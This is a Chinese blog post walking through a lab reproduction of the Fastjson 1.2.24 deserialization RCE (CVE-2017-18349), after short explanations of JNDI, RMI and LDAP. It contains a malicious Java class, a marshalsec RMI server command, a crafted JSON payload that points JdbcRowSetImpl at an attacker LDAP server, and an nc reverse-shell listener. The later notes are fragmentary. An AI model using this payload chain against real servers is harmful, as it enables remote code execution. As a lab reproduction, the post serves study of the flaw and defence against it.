fastjson复现-详细

fastjson复现-详细,第1张

fastjson复现-详细 基础知识

json详解及fastjson使用

fastjson的使用

B站 jndi扩展
Java Naming and Directory Interface
可以理解为JNDI在J2EE中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找

JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务。
JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI

B站 jndi注入
在JNDI服务中,RMI服务端除了直接绑定远程对象,还可以通过References类绑定一个外部的远程对象(当前名称目录系统之外的对象)。
绑定Reference后,
服务端先利用Referenceable.getReference()方法获取绑定对象的引用,并且在目录中保存。
当客户端使用lookup()方法查找该远程对象时,会返回ReferenceWrapper类的代理文件,接着调用getReference()获取Reference类,获取到相应的object factory,最终通过factory类将reference转换为具体的对象实例。
从ReferenceWrapper源码中也可以发现该类继承自UnicastRmoteObject,实现对Reference进行包裹,使得Reference类能够通过RMI服务进行远程访问

上面介绍了整个加载过程,则攻击利用流程如下:

  1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控
  2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name
  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
  4. 目标在进行lookup() *** 作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
  5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果

B站 rmi原理
Remote Method Invocation
是专为Java环境设计的远程方法调用机制,
远程服务器提供API,
客户端根据API提供相应参数即可调用远程方法。
由此可见,使用RMI时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。

LDAP
Lightweight Directory Access Protocol
是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议
目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据

深入理解JNDI注入与Java反序列化漏洞利用: https://security.tencent.com/index.php/blog/msg/131

Fastjson1.2.24 反序列化漏洞RCE(CVE-2017-18349)漏洞复现

开始按照这个文章 *** 作 ↓
https://cloud.tencent.com/developer/article/1853055

靶场:192.168.33.130
攻击机:192.168.33.129

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

查看靶场容器java版本
在攻击机 下载对应版本 jdk

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version



分析:靶场环境为Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

  1. 编译恶意类代码

创建文件名为TouchFile.java的文件

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

使用javac编译

javac TouchFile.java


2. 下载marshalsec工具

marshalsec工具用于开启RMI服务器

下载地址:

https://github.com/mbechler/marshalsec

git clone https://github.com/mbechler/marshalsec.git
  1. 安装maven
apt-get install maven

*** 作一通,最终没能在kali中成功安装上maven
还是在ubuntu *** 作吧

  1. 使用maven编译marshalsec成jar包
mvn clean package -DskipTests

编译失败了

还是用windows的maven吧,希望可以成功
有了

把生成的marshalsec真个文件夹给复制到攻击机kali上去

5. 在攻击机 搭建启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.33.129/#TouchFile" 9999

6. BurpSuite抓包改包

POST / HTTP/1.1
Host: 192.168.33.130:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,**;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 190

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.129:8888/Object","autoCommit":true}}

3. 监听反dshell

nc -lvp 9001

发包 ~~~~
监听到了 嘿嘿

fastjson攻防详解

B站 fastjson攻防讲解视频


复制运行结果到代码中,以便进行反序列化 *** 作,会自动带转义字符 。
反序列化的过程 一大串的断点分析 晕晕晕 ~



B站 fastjson 下

编译 ↑
然后命令行执行python文件,获得加密后的poc

一堆断点分析 …

从rmi到rpc到dubbo

B站
所有的网络通信都是基于socket协议,跨语言通信
soap协议实现跨平台,跨语言通信
webservice缺点:传输了很多和业务无关的数据
新生出很多数据传输方式

dubbo

spring cloud

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5437783.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-11
下一篇 2022-12-11

发表评论

登录后才能评论

评论列表(0条)

保存